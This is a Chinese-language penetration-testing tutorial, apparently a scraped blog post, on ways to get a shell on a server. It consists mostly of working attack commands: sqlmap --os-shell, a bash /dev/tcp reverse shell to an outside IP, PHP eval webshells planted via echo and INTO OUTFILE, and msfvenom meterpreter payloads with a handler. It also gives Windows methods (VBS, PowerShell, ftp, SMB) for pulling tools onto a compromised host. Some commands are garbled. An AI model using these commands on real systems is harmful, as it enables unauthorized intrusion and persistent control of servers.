获得shell的几种姿势
1.通过sqlmap连接mysql获取shell
(1)直接连接数据库
sqlmap.py -d “mysql://root:123456@127.0.0.1:3306/mysql”–os-shell
(2)通过选择32位或者64位操作系统,获取webshell,执行
bash -i >& /dev/tcp/192.168.1.3/80800>&1
(3)反弹到服务器192.168.1.3,在实际中192.168.1.3为外网独立IP。
(4)通过echo命令生成shell:
echo “?php@eval($_POST['chopper']);?” >/data/www/phpmyadmin/1.php
如果能够通过phpmyadmin管理数据库,则可以修改host为“%”并执行权限更新,下面命令可参考:
use mysql;
update userset host = ‘%’ where user = ‘root’;
FLUSHPRIVILEGES ;
注意:如果数据库中有多个host连接,修改时可能会导致数据库连接出问题。
2.通过msf反弹
(1)使用msfvenom生成msf反弹的php脚本木马,默认端口为4444:
msfvenom -p php/meterpreter/reverse_tcpLHOST=192.168.1.3 -f raw > test.php
(2)在独立IP或者反弹服务器上运行msf依次执行以下命令:
msfconsole
use exploit/multi/handler
set payload php/meterpreter/reverse_tcp
set LHOST 192.168.1.3 //192.168.1.3为反弹监听服务器IP
show options
run 0 或者exploit
(3)上传并执行php文件
将test.php上传到192.168.1.2服务器上面,访问后即可获取msf反弹shell
http:// 192.168.1.2:8080/test.php
3.通过phpmyadmin管理界面查询生成webshll
select ‘<?php @eval($_POST[cmd]);?>’INTOOUTFILE ‘D:/work/WWW/antian365.php’
我们在做渗透测试的时候会经常遇到存在命令执行的Windows服务器,而且不能上传shell,唯一的入口就是命令执行,这种情况下,我们需要向服务器上传一个大一点的工具,如何实现,这就是本文章主要的内容。
利用http协议下载文件
利用vbs下载
将下面的代码保存为test.vbs

执行如下语句:
cscript test.vbs
利用powershell下载
将如下代码保存为test.ps1
$p = New-Object System.Net.WebClient$p.DownloadFile("http://domain/file" "C:\%homepath%\file")
执行.test.ps1
有的时候PowerShell的执行权限会被关闭,需要使用如下的语句打开。
powershell set-executionpolicy unrestricted
利用ftp协议下载文件
1 创建一个ftp服务器,或者使用公共的ftp服务器
2 将下面的代码保存为test.txt
ftp 127.0.0.1
username
password
get fileexit
3 执行下面的命令
ftp -s:test.txt
利用smb协议拷贝文件
1 在公网创建一个共享如:\111.111.111.111test$
2 命令行下执行net use \111.111.111.111test$ /u:test test
3 最后上传文件到共享,命令行下拷贝:copy \111.111.111.111test$test.exe c:\
利用echo直接写文件
使用nishang的powershell工具包对上传的文件进行处理,然后使用echo到文件中,最后再转为原始文件。
下载地址:https://github.com/samratashok/nishang
具体操作步骤:
1 将文件转为hex
PS > .\ExetoText.ps1 evil.exe evil.txt
2 将hex的值echo到文件中
3 将hex转为原始文件
PS > .\TexttoExe.ps1 evil.text evil.exe
总结
这几种方式的利用场景是在我们发现一个服务器存在命令执行,而且还是一台Windows,在不依赖其他工具的前提下,使用Windows自带的命令将我们需要的工具上传到服务器的姿势。以上的脚本文件都可以使用echo 的方式保存到服务器上,然后再利用这些姿势上传大一点的工具等文件。欢迎大家补充各种姿势。
获得shell的几种姿势的更多相关文章
- 两个文件去重的N种姿势
最近利用shell帮公司优化挖掘关键词的流程,用shell替代了多个环节的操作,极大提高了工作效率. shell在文本处理上确有极大优势,比如多文本合并.去重等,但是最近遇到了一个难搞的问题,即两个大 ...
- 快速了解IOC的几种姿势
一.首先我们了解IOC如何注入的几种姿势 构造函数注入(Constructor Injection) Ioc容器会智能的选择和调用合适的构造函数以创建依赖的对象.如果被选择的构造函数具有相应的参数,I ...
- Linux 下Shell 脚本几种基本命令替换区别
Shell 脚本几种基本命令替换区别 前言:因为工作需要,需要编写 shell script .编写大量 shell script 时,累计了大量经验,也让自己开始迷糊几种函数输出调用的区别.后面和 ...
- 又拍云张聪:OpenResty 动态流控的几种姿势
2019 年 1 月 12 日,由又拍云.OpenResty 中国社区主办的 OpenResty × Open Talk 全国巡回沙龙·深圳站圆满结束,又拍云首席架构师张聪在活动上做了< Ope ...
- 补习系列(7)-springboot 实现拦截的五种姿势
目录 简介 姿势一.使用 Filter 接口 1. 注册 FilterRegistrationBean 2. @WebFilter 注解 姿势二.HanlderInterceptor 姿势三.@Exc ...
- python中执行shell的两种方法总结
这篇文章主要介绍了python中执行shell的两种方法,有两种方法可以在Python中执行SHELL程序,方法一是使用Python的commands包,方法二则是使用subprocess包,这两个包 ...
- python打开文件的N种姿势
# python打开文件的N种姿势 print('[1]使用open()函数+简单for循环') f1 = open('python.txt') for line in f1: print(line. ...
- [转]地图投影的N种姿势
此处直接给出原文链接: 1.地图投影的N种姿势 2.GIS理论(墨卡托投影.地理坐标系.地面分辨率.地图比例尺.Bing Maps Tile System)
- 启动bash shell的三种方式下,检查的启动文件
启动bash shell的三种方式 1.登录时当做默认登录shell 2.作为非登录shell的交互式shell 3.作为运行脚本的非交互shell 一.登录shell 登录Linux系统时,bash ...
随机推荐
- 开发电商平台用PHP语言和JAVA语言有什么区别?哪种语言更好?
现在很多行业都通过电子商务拓展业务,所以商城系统开发成为很多企业的刚性需求.一般有一点技术基础的客户应该知道目前商城系统开发主流语言有两个,PHP和Java.那么很多客户朋友会纠结是选择哪个语言开发好 ...
- $(document).height 与$(window).height的区别
$(document).scrollTop() 获取垂直滚动的距离 (即当前滚动的地方的窗口顶端到整个页面顶端的距离)$(document).scrollLeft() 这是获取水平滚动条的距离 要获取 ...
- MySQL 数据库删除表中重复数据
采集数据的时候,由于先期对页面结构的分析不完善,导致采漏了一部分数据.完善代码之后重新运行 Scrapy,又采集了一些重复的数据,搜了下删除重复数据的方法. N.B. 删除数据表的重复数据时,请先备份 ...
- 栈二:包含min函数的栈
/** * 题目:包含min函数的栈 * 描述: 定义栈的数据结构,请在该类型中实现一个能够得到栈最小元素的min函数. * 注:用data来保存数据,用另一个栈min保存依次入栈最小的数 * ...
- Android资源管理利器Resources和AssetManager
前言 : Android工程在运行的时候往往需要引用资源.使用 Resources 来获取 res 目录下的各种与设备相关的资源.而使用 AssetManager 来获取 assets 目录下的资源 ...
- HDU 1428漫步校园
漫步校园 Problem Description LL最近沉迷于AC不能自拔,每天寝室.机房两点一线.由于长时间坐在电脑边,缺乏运动.他决定充分利用每次从寝室到机房的时间,在校园里散散步.整个HDU校 ...
- Spring Boot2 系列教程(十二)@ControllerAdvice 的三种使用场景
严格来说,本文并不算是 Spring Boot 中的知识点,但是很多学过 SpringMVC 的小伙伴,对于 @ControllerAdvice 却并不熟悉,Spring Boot 和 SpringM ...
- conversion function——转换函数
类型转换函数 与 explicit关键字 1.类型转换函数 在C++中,可以使用构造函数将一个指定类型的数据转换为类的对象,也可以使用类型转换函数 (type conversion function) ...
- macbook使用美化工具在屏幕展示出常查信息
磕叨 凭本人自己的经验,写代码过程中要经常查看内存使用网络流量下等,所以经常用到命令去查,而且mac上的命令跟linux上又有些不一样,经常打错. 多年前还没用mac前我用的是ubnutu,那时还是1 ...
- DNS原理及解析过程详解
相信大家在平时工作中都离不开DNS解析,DNS解析是互联网访问的第一步,无论是使用笔记本浏览器访问网络还是打开手机APP的时候,访问网络资源的第一步必然要经过DNS解析流程.下面我们将详细的给大家讲解 ...